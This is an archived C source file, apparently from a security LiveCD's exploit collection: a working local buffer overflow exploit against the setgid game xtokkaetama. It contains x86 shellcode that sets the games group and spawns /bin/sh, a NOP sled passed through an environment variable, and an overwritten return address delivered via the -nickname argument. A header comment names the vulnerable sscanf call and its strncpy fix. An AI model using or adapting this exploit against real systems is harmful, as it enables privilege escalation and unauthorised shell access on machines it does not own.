home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / tokkaetama / xxtama.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  47 lines

  1. /* (linux/x86)xtokkaetama[v1.0b+]: (games) local buffer overflow exploit.
  2.    by: v9[v9@fakehalo.deadpig.org]. (fakehalo)
  3.  
  4.    exploits an overflow missed in the patch/upgrade of:
  5.     http://www.securityfocus.com/bid/8312
  6.  
  7.    fix:
  8.     xtama_score.c:132: +strncpy(name,nickname,sizeof(name)-1);
  9.     xtama_score.c:132: -sscanf( nickname , "%s",name ) ;
  10.  
  11.    (tested on non-debian, should still work elsewhere)
  12. */
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <string.h>
  16. #include <unistd.h>
  17. #include <grp.h>
  18. #include <sys/types.h>
  19. #define PATH "/usr/games/xtokkaetama" /* game binary. */
  20. static char exec[]= /* setgid(?)+shell.               */
  21.  "\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd"
  22.  "\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"
  23.  "\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"
  24.  "\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
  25.  "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
  26. int main(){
  27.  unsigned int i;
  28.  char *buf;
  29.  struct group *gent;
  30.  printf("(*)xtokkaetama[v1.0b+]: local buffer overflow exploit.\n");
  31.  printf("(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n");
  32.  if(!(buf=(char *)malloc(16384+1)))exit(1);
  33.  memset(buf,0x90,(16384-strlen(exec)));
  34.  if(!(gent=getgrnam("games")))exec[5]=exec[7]=20;
  35.  else{exec[5]=exec[7]=gent->gr_gid;}
  36.  strcat(buf,exec);
  37.  setenv("EXEC",buf,1);
  38.  memset(buf,0x0,(16384+1));
  39.  for(i=0;i<512;i+=4){*(long *)&buf[i]=0xbfffe001;} 
  40.  printf("[*] in the game, hit: spacebar, \"Q\", spacebar, spacebar.\n");
  41.  sleep(3);
  42.  printf("[*] entering xtokkaetama...\n");
  43.  if(execlp(PATH,PATH,"-nickname",buf,0))
  44.   printf("[!] failed to execute %s.\n",PATH);
  45.  exit(0);
  46. }
  47.